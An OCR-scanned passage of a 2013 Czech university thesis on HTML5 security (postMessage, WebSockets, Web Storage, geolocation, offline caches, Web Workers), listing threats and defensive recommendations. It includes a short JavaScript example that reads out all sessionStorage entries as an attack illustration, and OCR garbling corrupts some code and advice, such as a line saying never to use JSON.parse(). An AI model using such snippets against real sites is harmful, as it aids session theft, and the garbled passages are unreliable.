aplikace a v ramci této aplikace spustit libovolny Skodlivy JavaScriptovy kod. Anebo
V tom, ze Gto¢nik, diky odposlechu zasilanych zprav metodou Cross-Document Messaging
mezi jednotlivymi iframy (kde cil je definovan parametrem *), vlozi Skodlivy

JavaScriptovy kod, kterym bude moci tyto vyménované citlivé informace odchytit a ukrast.

2.2.3 Doporuceni

Ke zmirnéni hrozeb z prozrazeni divérnych informaci a rozsifeni plochy utoky aplikace
nesta¢i pouze data kontrolovat na strané serveru, ale pfijatd data musi byt také
kontrolovana na stran€ uzivatele. Pro bezpecné pouzivani funkce Cross-Document

Messaging je dle [8] dulezité:

- Aby cil pro metodu postMessage() byl jasné¢ definovan a nebyl nastaven
na parametr zastupného znaku *, ¢imz by se predeSlo odeslani divérnych dat

nespravnému framu (ramu).

- Zkontrolovat pfijatou zpravu a zajistit, aby byly pfijimany pouze z divéryhodnych
zdroji, nebyly pouzity ptimo jako innerHTML anebo nebyly pfedavany pomoci
JavaScriptové funkce eval().

Dale je také dulezité dle [6] mit na paméti:

- Pii zasilani zpravy vyslovné uvadét ocekavany zdroj jako druhy argument metody
postMessage() misto parametru *, aby se po pfresmérovani zabranilo odeslani

zpravy na neznamy zdroj.

- Pfijimaci strana by vzdy m¢la:

'3 Gadget — miniaplikace zobrazena jadrem Internet Exploreru jako HTML stranka.
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- zkontrolovat ptuvod atributi odesilatele k ovéfeni dat, zdali pochdzeji

Z oéekavaného mista a

- provést vstupni kontrolu datovych atributi a zajistit, ze budou

V pozadovaném formatu.

- Nemyslet si, ze je mozné mit plnou kontrolu nad datovymi atributy. Jednoducha

XSS chyba pii odesilani stranky umozni Gto¢nikovi posilat zpravy dané¢ho formatu.

- Ob¢ strany by m¢ly vyménované zpravy interpretovat jako data. Rozhodné¢ nikdy
nevyhodnocovat pfedanou zpravu jako kod (napt. pfes JavaScriptovou funkci
eval()) nebo ji vkladat do DOMu (objektovy model dokumentu) stranky (napf.
pomoci innerHTML), protoze by to mohlo umoznit provést utok formou DOM
based XSS (viz. kapitola 3.1.3).

- Bude-li potieba prifadit datovou hodnotu k elementu, tak misto pouziti nebezpecné

metody element.innerHTML = data; je lep$i pouzit jeji bezpec¢néjsi variantu

element.textContent = data;.

Zvazit pouziti JavaScriptového prepisovaciho béhového prostiedi (frameworku) jako je
Google Caja nebo kontrolu informaci pomoci sandboxed** frames, pokud vznikne potieba
vlozit obsah z externiho zdroje nebo nediivéryhodnych gadgetli umozilujici kontrolu

uzivatelskych skripta.

2.3 Web Socket

Web Sockets [9] jsou jednou z novinek technologie HTMLS5, které se staraji o komunikaci
mezi dvéma procesy pomoci IP technologie. Zjednodusené feeno se jedna o nihradu
protokolu HTTP za feSeni obousmérné komunikace. Pomoci této technologie je mozné
napsat webovou aplikaci, kterd si miize pomoci navazani obousmérné komunikace mezi

klientem™ a serverem vyméhovat informace v realném Gase.

Technika protokolu HTTP také n¢kdy zvand jako ,heartbeat je zaloZena na pozadavku,

kdy se klient v pravidelnych intervalech zepta serveru, zdali pro né¢j ma né&jakou informaci

14 » ’ . ~r o x oo o0 1 wvr s P , v 7
Sandbox — bezpe¢nostni mechanismus slouZici pro oddélovani procest béZicich se stejnym opravnénim. Je

vyuzivan pro spousténi neotestovaného kddu z neovétenych tretich stran nebo nedtivéryhodného obsahu.

1> Klient — spusténa aplikace ve webovém prohliZeci
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a odpovédi, kde ve vétsing pripadii server odpovi, Ze nema. Coz by se dalo také oznacit
jako zbytecné plytvani zdroji. Na rozdil od Web Sockets, kde klient navaze komunikaci se
serverem az ve chvili, kdy ji bude skute¢né potiebovat, coz pro vytvaieni realtimovych
aplikaci je mnohem jednodussi. Rezie takového pienosu hlavicky se mtize oproti ptedchozi
technologii snizit o 500:1 az 1000:1 ¢asovych jednotek v zavislosti na velikosti hlavicky a
snizit svoji latenci (zpozdéni) az o 30:1 ¢asovych jednotek [10]. Tato technologie vychazi
ze starSich technologii, zejména AJAXu, ktery vytvaii jednorazové asynchronni pozadavky
od klienta na server pies HTTP protokol nebo Cometu, ktery vytvaii dlouhodobé
rezervované HTTP spojeni a nabizi to, co tyto technologie nedokazaly. Jednoduché
rozhrani pro navazani komunikace mezi serverem a klientem a jejich vzéjemnou vyménu
informaci. Na strané klienta je tato technologie implementovana pomoci JavaScriptu jako
ttida WebSocket. Pokud tuto technologii server podporuje, tak po vytvofeni instance této

ttidy s nim dokaze klient navazat spojeni.

Tato technologie ovSem vyzaduje podporu jak na stran¢ klienta, ve form¢ implementace
ve webovém prohlizeci, tak na strané serveru, kdy je potieba vyuzit specialni technologii,
kterd umi vic nez bézny HTTP server. K tomuto se nabizi napt. lokdlni implementace

Websocket-Node*® nebo pywebsocket’, anebo technologie node-websocket-server™.

2.3.1 Zranitelnosti

Bezpecnostni problémy tykajici se rozhrani Web Sockets jsou velmi podobné tém, které
souvisi s technologii Cross-Origin Resource Sharing. Mohou mit stejny, celkem zasadni
problém, ktery umozni vytvofit Web Socket spojeni napii¢ doménami bez pottebného
svoleni uzivatele. Stejné jako jsou bez upozornéni odesilany zadosti. Pro utoc¢nika je
pomérné jednoduché pomoci JavaScriptového kodu v aplikaci obéti vytvorit Web Socket
spojeni k libovolnému cili, které mlze napiiklad slouZzit k vyméné¢ informaci mezi aplikaci
ob¢ti a serverem Uto¢nika. Pro tento typ zranitelnosti se bezpecnostni pozadavky ¢leni

na Bezpecné manipulace s relacemi, Ochrana klienta a Kontrola pristupu.

Bezpecnostni pozadavek Bezpecné ukladani do mezipameéti je prostfednictvim rozhrani

Web Sockets ohrozeno, pokud miize utocnik této zranitelnosti vyuzit formou manipulace

1% https://github.com/Worlize/WebSocket-Node
7 https://code.google.com/p/pywebsocket/
18 https://github.com/miksago/node-websocket-server
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s daty v mezipaméti proxy servert. Ne vSechny webové proxy servery totiz umi pracovat,
nebo spravné rozumét protokolu rozhrani Web Socket, coz miize vést k poruSeni dalSich
bezpecnostnich pozadavki a napiiklad k propasovani nebezpecnych JavaScriptovych koda

do aplikace obéti.

2.3.2 Hrozby a scénare titoku

Zakladni typy nékterych hrozeb jiz byly popsany v ptedchozi kapitole. V nasledujici ¢asti
budou pro tyto hrozby popsany scénatfe demonstrujici zpiisob provedeni utoku piipadnym

utoénikem.

- Vzdaleny Shell — Kk vytvofeni vzdaleného shellu ve sméru ze serveru k aplikaci
muze byt pouzito rozhrani Web Sockets. Toto spojeni ovSem zUstava oteviené tak
dlouho, dokud ho aplikace neuzavie. Coz je hrozba, kterd mtze zpusobit poruseni

bezpecnostniho poZzadavku bezpe¢né manipulace s relacemi a ochrany klienta.

- Webovy botnet — Web Sockets umozniuje zfidit serveru soucasné vzdalené shelly
mnoha aplikaci. Tyto vzdalené shelly mize server vyuzit k vytvofeni webovych
botnetd. Tim je porusen bezpeCnostni pozadavek pro bezpeénou manipulaci

s relacemi a ochranu klienta.

- Cache poisoning — z dvodu nepochopeni Web Sockets handshake muze dojit
V mezipaméti webového proxy serveru k tzv. otravé. Tim je poruSen bezpecnostni

pozadavek bezpe¢né ukladani do mezipaméti.
- Skenovani portll — uto¢nik mize zneuzit webovy prohlize¢ obéti skenovanim portil
vnitini sité. Tim je poruSen bezpecnostni pozadavek pro bezpec¢nou manipulaci

s relacemi a diivéryhodnosti.

2.3.3 Doporuceni

Protiopatieni pro hrozby technologie Web Sockets I1ze aplikovat pouze na bezpe¢nostni
pozadavek Cache poisoning™, coz Ize voln& ptelozit jako otrava mezipaméti, u kterého je

pro spravné pochopeni metody Web Sockets handshake dilezité, aby webové proxy

19 Cache Poisoning - zranitelnost zalozena na technice HTTP Response Splitting (zranitelnost spoéivajici
v predani webové aplikaci, spolecné se vstupem, neocekavany fetézec, kterym rozd€li pivodni odpovéd
serveru na vice odpoveédi), jejimz cilem je presvédcit klienta, aby ulozil urcitou stranku do své mezipaméti.
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servery byly pravidelné¢ aktualizovany, aby dal$i zdroje mezipaméti nebyly zalozeny
na jediné hodnoté HTTP hlavicky hostitele (HTTP host header value?®), a aby se
pro hostitele vzdy zvazilo pouziti odpovidajici IP adresy. Vyhnout se slozitymi zastupnymi
feSenimi pro ostatni vySe uvedené hrozby je mozné napiiklad manualnim zakdzanim

podpory technologie Web Sockets u klienta.
Dle [6] je dilezité vénovat pozornost:

- ZruSeni zpétné komptability v implementaci klient/server a pouziti pouze nov¢jsich
verzi protokolu nez jsou hybi-00/hixie-76. Pravé tyto a nizsi verze protokoli Web

Sockets jsou zastaralé a nebezpecné.

- Doporucend verze, ktera je podporovana ve vsech nejnovéjsich verzich

nejrozsitenéjsSich webovych prohlizecd, je uvedena v RFC 6455 (V soucasnosti

se jedna o prohlizece Firefox 16, Chrome 25, IE10, Safari 6 a Opera 12.14).

- Diky pomérné jednoduchému tunelovani TCP sluZeb prostfednictvim Web Sockets
(napt. FTP, VNC), je pomoci utoku metodou Cross-Site Scripting umoznéno
uto¢nikovi pristupovat k tunelovanym sluzbam pies webovy prohlize¢. Tyto sluzby

mohou byt také volany pfimo z nebezpecnych stranek nebo programu.

- Protokol nezpracovava autorizace a/nebo autentizace. Tyto procesy musi zvladnout

protokol na aplika¢ni trovni, zejména pokud jsou pienaSena citliva data.

- Zpravy piijaté ve websocket zpracovat jako data, neptifazovat je pfimo do DOM a
ani je vyhodnocovat jako kod. Pokud je odpovéd v JSON, tak nikdy nepouZzivat

wewvr

JSON.parse().

- Kochrané proti utoku typu Man-in-the-Middle by mél byt pouzit pouze wss://
protokol (Web Sockets pies SSL/TLS).

- Veskerd Web Socktes komunikace miize byt faleSnd nebo napadena pomoci utoku

typu Cross-Site Scripting Utoku, pokud je Web Sockets klient piistupny

2 Host header value — je jedna ze tfi hodnot (dalsi jsou ip adresa a &islo portu), které lze pouzit
k jednoznaéné identifikaci webové domény. Napt. host header value pro http://www.utb.cz je www.utb.cz.


http://www.utb.cz/
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prostfednictvim volani JavaScriptu. Proto je dilezité vzdy provétit veskera data

ptichazejici prostfednictvim Web Sockets spojeni.

2.4 Web Storage

Pted ptichodem technologie HTMLS méli webové aplikace moznost ukladat data na strané
klienta pouze pomoci cookies. To mélo n¢kolik nevyhod. Jednou z nich, dilezitd pro tuto
kapitolu, byla velikost dat pro ulozeni, ktera je dle [11] omezena na 4KB pro jednu cookie,
coz kvili malému limitu se nejlépe hodi k uklddani malych mnozstvi dat nebo Iépe
identifikatoru, a na 20 soubort cookie pro jednoho unikatni hostitele nebo doménu. Pokud
se jich bude pokouset ukladat vice, tak nejstarsi soubory cookie budou zahozeny. Reseni
tohoto omezeni spo¢iva v moznosti ukladani nejen webovych stranek nebo skripti, ale 1

vytvotenych dat na lokédlnim ulozisti i pro mozZnost offline pouziti.

Z tohoto duvodu prichazi HTMLS s technologii lokalniho ukladani dat nazyvajici se Web
Storage. Tato technologie definuje dle specifikace [12] dva typy lokalnich ulozist
odlisujicich se od sebe pouze svou perzistenci. Prvni typ tlozisté se nazyva Local Storage,
ukladajici data trvale v prohlizece, dokud nejsou skriptem smazéna a druhy typ se nazyva
Session Storage, ukladajici data jen po dobu trvani relace, tedy pfiblizné do doby uzavieni
webového prohlizeCe nebo okna, popt. panely s danou strankou. Proto pfistup k datim
ulozenych pomoci Session Storage v rdmci jedné domény neni moZzny ani pies dalsi okna,
ani prostfednictvim dalSich zaloZek prohlizece. OvSem toto nemusi platit vzdy, nckteré
webové prohlize¢e umoziuji pristup k takto ulozenym datim i po znovu otevieni

prohlizece.

Tato llozisté jsou zalozena na jednoduchém principu key — value (kli¢ — hodnota) databaze
a lze je pfirovnat k asociativnim polim, které nejsou indexovany celo¢iselnou hodnotou,
ale obecnym kli¢em (fetézcem). Velikost dat, ktera je na ulozist¢ mozna ukladat zavisi jen
na tviircich jednotlivych prohlizecii, ponechdva na nich jak jejich spravu a tak i stanoveni
minimalni nebo maximalni kapacity ulozi§té. OvSem doporucend velikost pro kazdou

doménu je stanovena na 5 MB.

2.4.1 Zranitelnosti

Zakladnim bezpecnostnim problémem je, Ze uZivatel nevi jaky typ dat je v lokalnim
ulozi$ti ulozen. Neni schopen uZivatelsky ovladat tloZzisté, resp. pfistup k témto datim

kontrolovat. Cely pfistup je totiz realizovan prostfednictvim JavaScriptového kodu. U ného
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staci, aby byl v souvislosti se spravnou doménou spustén a tim uzivateli umoznil
transparentnim zplisobem ziskat piistup ke vS§em polozkdm ulozenym v lokalnim ulozisti

dat.

Pfistup pro moznost manipulace s daty, ktera jsou uloZzena ve webovém ulozisti, je
umoznéno pouze opravnénému uzivateli a pivodni doméné. Pokud se ovSem utoc¢nikovi
podafi v aplikaci obéti spustit urcity JavaScriptovy kod, kterym se mu podafi obejit
kontrolu pristupu, tak dojde k ohrozeni bezpecnostniho pozadavku na ochranu dat,
integrity a davéryhodnosti. Timto Skodlivym kdédem by totiz mohlo dojit nejen

k manipulaci s daty, ale také k jejich odeslani na cizi doménu.

2.4.2 Hrozby a scénare titoku

Je dilezité si uvédomit, ze ulozisté Local Storage je sdilené pro cely zdroj. To znamena, ze
pokud uzivatel otevie tutéz stranku ve vice oknech nebo panelech, tak vS§echny budou stale
piistupovat k jednomu tlozisti. Zméni-li tedy skript data v jednom okné nebo panelu, uvidi
tyto zmény 1 skripty v ostatnich otevienych oknech nebo panelech. Proto se technologie
Web Storage nedoporucuje pouzivat pro rizné uzivatele na spolecné¢ doméné pro béh
webovych aplikaci u hostingovych sluzeb, jelikoZ existuji zplisoby jak pomoci manipulace
s DOM obejit pfipadnou ochranu implementovanou prohlize€em. Dalsi hrozby souvisejici

s ulozistém Local Storage jsou popsany v nasledujicim seznamu:

Session hijacking — identifikator relace ulozeny v lokalnim wlozisti dat mize byt
odcizen, pokud ve webové aplikaci existuje zranitelnost ve vstupné / vystupnim

kédovani. Tim dojde k poruseni bezpecnostniho pozadavku bezpecna sprava relace.

- Zvefejnéni duvérnych udaji — pokud budou odcizeny a zneuzity citlivé udaje
uchovavané webovou aplikaci o klientech aplikace, dojde Kk poruseni
bezpec¢nostniho pozadavku povinnosti ml¢enlivosti.

- Sledovani uzivatele — pokud jsou v lokalnim ulozisti ulozeny citlivé tidaje, tak toto
ulozi$t€¢ mize byt pouzito také jako dal$i moznost pro identifikaci uzivatele. Tim
bude poruSen bezpecnosti pozadavek na ochranu osobnich udajt.

- Trvalé vektory utokd — jsou vektory utokii, které mohou byt pouzity na strané
klienta. Rozsah identifikaci zranitelnosti, které mohou byt trvalé, jsou rozsifeny na
klienty a nejsou omezeny na strané serveru. Tim je porusen bezpecnostni

poZadavek na ochranu klienta.



UTB ve Zliné, Fakulta aplikované informatiky, 2013 59

Priklad utoku pro vypis dat (hodnot — getValue a jmen s hodnotami — getNameAndValue)

pomoci sessionStorage:

"", for(i in window.sessionStorage) getValue += 1 + "";

""; for (i=0;i<window.sessionStorage.length;i++)

var getValue =
var getNameAndValue =
getNameAndValue += window.sessionStorage.key (i) + ":" +

sessionStorage.getItem(sessionStorage.key(i)) + "";

2.4.3 Doporuceni

Pouziti lokdlniho ulozisté dat pfinasi mnoho vyhod nejen pro tvorbu webovych aplikaci,
ale bohuzel také otevira dvefe k vySe uvedenym typim utokt, ale i dalSim dosud
nepublikovanym. Je dilezité mit také na paméti, ze zde existuje mnoho programovych
konstrukei, které by mohli vyvojaii pii vyvoji webové aplikace pokazit. Proto je potieba

dasledné dodrzovat nasledujici bezpecnostni doporuceni.

- Pro manipulaci s relacemi je lep$i pouzit cookie misto lokalniho ulozisté. Protoze
po uzavieni aplikace nedojde samovolné k vycisténi lokalniho ulozisté, coz je
podporovana funkcionalita. Proto miize, pokud uzivatel aplikaci pouze ukon¢i, ale
neodhlasi se, anebo webova aplikace neukonéi relaci spravné, dojit k odcizeni

identifikatoru relace.

-V lokalnim uloZzisti neskladovat citliva data. K tomuto ucely vzdy pouzivat webovy

server s dostate¢nou ochranou.

- Nepouzivat lokéalni tloZzisté, pokud rozdilné webové aplikace bézici na stejné
domén¢ jsou oddélené pouze prostiednictvim jednotlivych cest a data téchto
aplikaci nesmi byt sdileny. Neexistuje totiz Zadny zplsob jak omezit viditelnost

objektu pro urcitou cestu.
Doporuceni dle [6] pro Web Storage:

- Pokud neexistuje potieba, nebo diivod pro pouziti lokdlniho ulozisté, tak je
rozhodné lepsi pouzit objekt sessionStorage, jelikoz tento typ tlozisté je k dispozici
pouze v praveé otevieném okné nebo panelu a je jen docasny, tedy do uzavieni okna

nebo panelu prohlizece.

-V objektu localStorage 1ze pomoci jednoduchého XSS (Cross-Site Scriptingu)
ukrast vSechna data. I pfesto, ze se neustdle dokola opakuje doporuceni, aby se

citliva data v lokalnim ulozisti neukladala.
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- Pomoci jednoduchého XSS je mozné také do téchto objektli nahrat skodliva data,
tudiz by se tyto objekty v tomto ohledu nemély povazovat za divéryhodné. XSS

exploit:

- Pfi odhalovani vyvojafi vytvafenych feSeni na strankdach s HTMLS, kterymi
ukladaji citlivé informace na lokalni Glozisté, je tieba vénovat zvySenou pozornost

volani vlastnosti localStorage.getltem a localStorage.setltem.

Stejné¢ tak je dileZité neukladat identifikdtory relace v lokalnim uloZisti, jelikoz jsou
pomoci JavaScriptu vzdy pfistupné. Toto riziko je mozné zmirnit nastavenim cookies
pomoci priznaku HttpOnly, ktery zajisti, ze s nimi nebude mozné pomoci JavaScriptu

manipulovat.

2.5 Geolocation

Jednd se o pomérné velmi jednoduché rozhrani pracujici s aktualni polohou klientd.
Na zaklad¢ svoleni uzivatell lze ziskat pfistup k jejich geoloka¢nim informacim, a to bud’
jednorazové nebo opakovanym dotazem, pomoci dat z IP adresy, GPS lokalizéatoru,
mobilni nebo wi-fi sité¢ a dalSich. Lokalizace probiha pomoci riznych zatfizeni, ktera se
prostiednictvim svych dostupnych zdroji pro vétsi piesnost asto kombinuji. Geolokaéni
rozhrani HTMLS nema tedy za kol pfimo lokalizaci jako takovou, ale obstarava cestu

pro ziskani téchto informaci. Lokalizace miZe byt zjiSténa nasledujicimi zplisoby:

- Ptres IP adresu — tato lokalizace probiha dohledanim informaci o fyzické adrese
poskytovatele ptipojeni. Je velmi neptesna, protoze zalezi na tom, kde poskytovatel
ptipojeni sidli, coz mtize byt klidn€ i na opacném konci statu.

- Pres GPS - tato lokalizace probihda pomoci riznych mobilnich a navigacnich
zafizeni. Tento zplisob je pomérné velmi piesny, ale vyzaduje, aby bylo zafizeni
vybaveno a aktivovano potfebnym GPS hardwarem a aby mélo pfimou viditelnost

na oblohu.

- Pomoci wi-fi a mobilnich siti — tato lokalizace probiha pomoci méfeni vzdalenosti
z nékolika dostupnych bodl (wi-fi zafizeni nebo vysilaci mobilni stanice) a
naslednym porovnanim vysledki. Je také pomérn¢ velmi presna pokud se v daném

okoli nachazi dostatecny pocet dostupnych bod.
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- Pomoci uzivatelem nakonfigurovaného umisténi — piesny zpusob, zada-li uzivatel

pravdivé informace.

Dle specifikace [13] zavadi pouze jediny objekt dostupny prostiednictvi JavaScriptu, a to
navigator.geolocation se zakladni metodou pro ziskani pozice getCurrentPosition(),
s metodou watchPosition() zajistujici opakovanou aktualizaci polohy a metodou

clearWatch() pro ukonceni sledovani.

2.5.1 Zranitelnosti

S geolokacnim rozhranim je spojena v podstaté jen otdzka ochrany soukromi. Kazda
webova stranka je schopna urCit polohu uZzivatele, kterd mize byt nasledné¢ vyuZita

webovou aplikaci k identifikaci a sledovani uzivatele.

2.5.2 Hrozby a scénare atoki

V nasledujicim seznamu jsou uvedeny hrozby, které¢ souviseji s geoloka¢nim rozhranim
S popisem vyuZiti pro mozny utok. VSechny tyto hrozby porusuji bezpe¢nostni pozadavek

na ochranu osobnich udajt.

- Sledovani wuzivatele — uto¢nik muize pomoci webové aplikace zalozit
na geolokacnim rozhrani tok, kterym bude sledovat polohu obéti. Z toho diivodu
potiebuje do webové aplikace implementovat funkcionalitu, kterou oklame
uzivatele, aby tento pokazdé akceptoval pozadavek na sdileni informace o poloze
pouzivané domény. Poté miize webova aplikace identifikovat uzivatele na zakladé

jeho polohy. Pro pfesnéjsi informace o poloze je dulezité, aby tyto informace

sdilelo vice uzivateld jedné domény.

- Sledovani fyzického pohybu — jednd se rozsifeni pifedchoziho scénéfe tim, Ze pfi
kazdém pouziti webové aplikace, kdy uzivatel k aplikaci pfistoupi a provede platné
pfihlaSeni, se zaznamend jeho poloha a ulozi se kjeho uZivatelskému uctu.
Néslednym vyhodnocenim téchto informaci je mozné vytvofit profil pohybu

uzivatele.
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- Korelace” uzivatele napfi¢ doménami — pro tento typ Gtoku plati stejné
predpoklady na jakych je postaven ptedchozi scénat pro sledovani uzivatele s tim,
7e se navic K tomu pfidavaji vSechny zacastnéné domény. Jednotlivé zacastnéné
domény chtéji synchronizovat relace uzivatelli navzdjem mezi sebou, proto také
chtgji sdilet informace o polohdch navstév jejich uzivatelt. Korelace uzivateli
Vv zévislosti na informacich o poloze je mozna. OvSem trochu problematickou
zalezitosti je, pokud uzivatel méa vytvofeny ucet u webové aplikace A, ale ne u B.
Resenim je pouze piedpoklad, Ze pokud bude uZivatel ptihlageny v aplikaci A, tedy
aplikace A zna uzivatelovu identitu a v dob€ této relace se ze stejné domény
piihlasi i k aplikaci B, tak se snejvétsi pravdépodobnosti bude jednat o toho

samého uzivatele.

- PoruSeni anonymizace — to se mize stat dvéma zptsoby. Prvni zplsob je, Ze cilova
webova stranka bude piimo pozadovat informace o poloze (pokud pfistupem
na danou webovou stranku uzivatel pfedchozim souhlasem umozni aplikaci predat
informace o poloze, tak se tyto informace budou zasilat automaticky) a druhy
zpusob je, Zze koncovy uzel vrati webovému prohlize¢i zmanipulovanou odpovéd'.
Tato manipulace sodpovédi zpusobi, Ze webovému prohlize¢i vrati polohu

webového prohlizece. (uzivatel musi sdilené informace o poloze ptijmout).

2.5.3 Doporuceni

Otazku ochrany soukromi ovliviiuji pfedev§im sami uZivatelé. Proto by méli vSichni
uzivatelé projit Skolenim, kde jim bude vysvétleno, za jakych okolnosti mohou udélit
webovym aplikacim souhlas pro pfistup kK informacim o poloze nebo k omezenému sdileni
informaci o poloze. A pokud je tak mozné ucinit, tak vzdy jen davéryhodnym
poskytovatelim sluzeb. Ani jednu hrozbu nelze zmirnit pfipadnou implementaci

zabezpeceni na strang serveru.

Dle doporuceni [6] je dilezité, aby aplikace vzdy pozadala uzivatele o udéleni souhlasu
pfed vypoctem polohy. Ale to zda a jak toto rozhodnuti bude moci byt u¢inéno, zavisi

pfedevsim na jednotlivych specifikacich webovych prohlizecii. N&které aplikace vyzaduji

2! Korelace — vzajemny vztah mezi dvéma entitami. Pokud se jedna z nich zm&ni, zméni se korelativng i
druhé a naopak.
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od uzivatele opakovany vstup na webovou stranku, aby méli jak moZznost ziskat polohu
uzivatele bez zadosti o souhlas, tak i ze soukromych divodi. Aby ovSem existovala
moznost tyto pozadavky vypnout, je doporuceno vyzadovat wuzivatelsky vstup

pted volanim metod getCurrentPosition() nebo watchPosition().

2.6 Offline Web Application

Pted pfichodem technologie HTMLS5 bylo velmi slozité vytvorit webovou aplikaci, ktera
by mohla pracovat i v rezimu offline. Aby webova aplikace mohla byt viibec zobrazena a
spusténa ve webovém prohlize¢i, je nutné, aby byla pfistupnd online a pro zobrazeni
ve webovém prohlize¢i mohla byt pedtim stazena pomoci pfipojeni k siti. OvSem stazena
byt nemuze, pokud je klient offline. Stahovat je moZzné aZz pii stavu online. Na tomto
ptistupu je offline webova aplikace technologie HTMLS zalozena. Jeji specifikace je

uvedena [14].

Webovy prohlize¢ podporujici offline webové aplikace v HTMLS si stahne seznam URL
adres z tzv. souboru manifestu. Z né&j si pak stahne potfebné, v ném uvedené soubory, které
si lokalné ulozi a bude udrZovat aktualni. Soubor manifestu je v podstaté jednoduchy
textovy soubor umistény na webovém serveru obsahujici seznam vSech soubort, které by
webova aplikace mohla pifi praci offline potfebovat. Mezi tyto soubory patii HTML
stranky, kaskadové styly, JavaScriptové soubory, obrazky a dalsi soubory. Pokud bude
aplikace tvofena i pro pouziti v offline rezimu, je potieba tedy do elementu <html> ptidat

atribut manifest:

___________________________________________________________________________________

<!DOCTYPE HTML>
<html manifest="/cache.manifest">
<body>

</body>
</html>

Soubor manifestu je rozdélen do nékolika sekci pro definovani seznamu soubort. A to
na ty, které by mély byt uloZzeny v offline mezipaméti. Na soubory, které by nemély byt
nikdy uloZeny v mezipaméti a soubory, které by mély byt nacteny v ptipadé chyby.

Soubor manifestu mize byt na webovém serveru ulozen v podstaté kdekoliv, ale musi byt
poslan s content-type text/cahe-manifest. Jinak obsah tohoto souboru pro offline webovou

aplikaci webovy prohliZe€ nepouzije.
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2.6.1 Zranitelnosti

Se zavedenim offline webovych aplikaci se zase o kousek posunuly bezpecnostni hranice,
jelikoz s pfichodem technologie HTMLS jiz nesta¢i kontrolu o opravnénosti piistupu
k datim a funkcim feSit pouze na strané serveru. Ale nové je se zavedenim ¢asti pro offline
webové aplikace nutné tyto kontroly opravnéni pfistupu fesit i u webovych prohlizeca.
Proto pokud jsou webové aplikace tvofeny i pro offline pouziti, jsou i piipadné

bezpecnostni ochrany implementované pouze na strané serveru nedostatecné.

Z hlediska bezpe¢nostnich pozadavkl se jedna piedev§im o poruseni ochrany Klienta.
Nicméné¢ to nic neméni na faktu, ze vSechny ostatni bezpecnostni pozadavky jsou
implicitné v ohrozeni uplné stejné. Napi. pokud dojde k poruseni bezpecnostniho
pozadavku Bezpecné ukladani do mezipameéti, tak Gtocnik mize vlozit jakykoliv obsah
do mezipaméti offline webové aplikace a tento pouZit pro poruseni dal$ich bezpeénostnich

pozadavkd.

2.6.2 Hrozby a scénare atoki

Umoznénim umisténi faleSného obsahu do mezipaméti, v tomto kontextu Skodlivymi daty,
byla otdzka bezpe€nosti problematicka je$t€¢ pred prichodem technologie HTMLS.
Naptiklad utok typu otrava mezipaméti (Cache poisoning) bylo moZné pouzit jiz
s ptedchozim jazykem HTML4 s vyuzitim soubort JavaScriptu ve verzi aktudlni dané
doby. Nicméné pro pouziti na klienta byl tento typ utoku omezen. Pro HMTL5 offline

aplikace jiz toto omezeni neplati, naopak zde nabyva znovu plné na sile.

- Cache poisoning — typ utoku, kterym je mozné se dostat pomoci otravy dat
mezipaméti do kofenového adresare webovych stranek. A to jak pomoci protokolu
HTTP, tak i HTTPS. Tim je poruSen bezpecnostni pozadavek na Ochranu klienta a
Bezpecné ukladani do mezipaméti.

- Trvalé vektory utoku — data v mezipaméti offline aplikace ziistanou u klienta do té
doby, dokud si server o n¢ saim nepozada, tedy provede jejich aktualizaci (coz se
nestane v ptipad¢ faleSného obsahu), nebo je uzivatel sim z mezipaméti ruéné
neodstrani. Nicméné zde existuje stejny problém jako v piipadé Web Storage, kdy
vyvojati jednotlivych webovych prohlizect maji odlisny pohled na zplisob smazani
nedavné historie. Kazdopadné v piipadé této hrozby jde o bezpe¢nostni pozadavek

na Ochranu klienta.
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- Sledovani uzivatele — ukladani detailt offline webovych aplikaci mize byt zneuzito
k sledovani wuzivateld, jelikoz webové aplikace mohou vkladat do soubort
mezipaméti jedine¢né identifikatory a tyto nasledné pouzit jak pro sledovani, tak i
pro piipadné korelace uzivatelii. Tim je porusen bezpecnostni pozadavek

na zachovani povinnosti ml¢enlivosti.

To jestli mohou byt data odstranéna z mezipaméti offline aplikace zalezi na jednotlivych
vyrobcich webovych prohlizecti. Mozilla Firefox toto umoziuje od verze 3.6.13, do této
verze to sice umoznovala také, ale jen pomoci ptedchoziho provedeni konfigurace. Google

Chrome od verze 8 a MS Internet Explorer toto rozhrani planuje zatadit do verze 10.

2.6.3 Doporuceni

Poskytovatelé webovych aplikaci se z podstaty typu hrozeb, definovanymi ve specifikaci
HTMLS, jakymi jsou Trvalé vektory itoku a Cache poisoning nemohou vyhnout. Re$eni
k odklonéni téchto moznych problémi spociva v tom, aby se uZivatelé naudili pravidelné
mazat mezipamét® webového prohlizece, a to pokazdé kdyz navstivi libovolné stranky
pfipojenim na internet prostfednictvim nezabezpecené sité. Nebo aspon predtim nez budou
vstupovat na stranky, pomoci kterych budou prendsena citliva data. Déle je dilezité, aby
kazdy uzivatel porozumél vyznamu slov Bezpecnostni varovani a pfistupovali pouze

k offline webovym aplikacim divéryhodnych zdroju.

2.7 Bezpecnost implicitnich vlastnosti HTML5

Tato cast se zabyva vlastnostmi technologie HTMLS, jejichz pouZivani nemd piimé
bezpecnostni dopady, ale v kombinaci s jinymi vlastnostmi HTML5 mohou byt pouzity
pro zahajeni nebo zjednodusSeni utokl proti webovym aplikacim. Tyto vlastnosti jsou nize

kratce vysvétleny vetné jejich bezpecnostnich otazek.

2.7.1 Web Workers

Soucasna implementace jazyka JavaScript zpracovava skripty v jednom vlakné s frontou
udalosti. Pokud ovSem bude navrzen skript vyzadujici ptili§ slozity vypocet (nebo bude
vyvolana chyba, ktera vyusti v zacykleni), mize dojit k tomu, Ze se webovy prohlizec
po tuto dobu zablokuje a ten pfestane reagovat na jakykoliv uzivatelsky vstup. Z toho
divodu byla vytvoiena technologiec Web Workers, jejiz specifikace je uvedena [15],

umoziujici spustit JavaScriptovy kéd v separatnim vlakné, resp. vice vlaknech najednou.
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Ugelem Web Workers je odstranéni z vlakna dokumentu vypoéetni sloZitost, ktera by
mohla zplsobit zamrznuti uZzivatelského rozhrani. Tato slozitost ovSem nezmizi, pokud
worker vykonava extrémné naroCnou cinnost, nebo pokud jich bézi vétsSi mnozstvi
najednou, ¢imz miize dojit k neCekanému zatizeni procesu a tim dojde k zablokovani i
ostatnich bézicich aplikaci. Worker také muze komunikovat s hlavnim vldknem
Vv prohlize¢i pomoci technologic Web Messaging a jeho funkce Channel Messaging
s metodou postMessage(). Volani pomoci této metody potom mize v hlavnim vlakné okna
umoznit vykonani pozadované funkcionality. Pokud se ovSem hlavni vldkno vold velmi

Casto, tak miize dojit k jeho zablokovani.

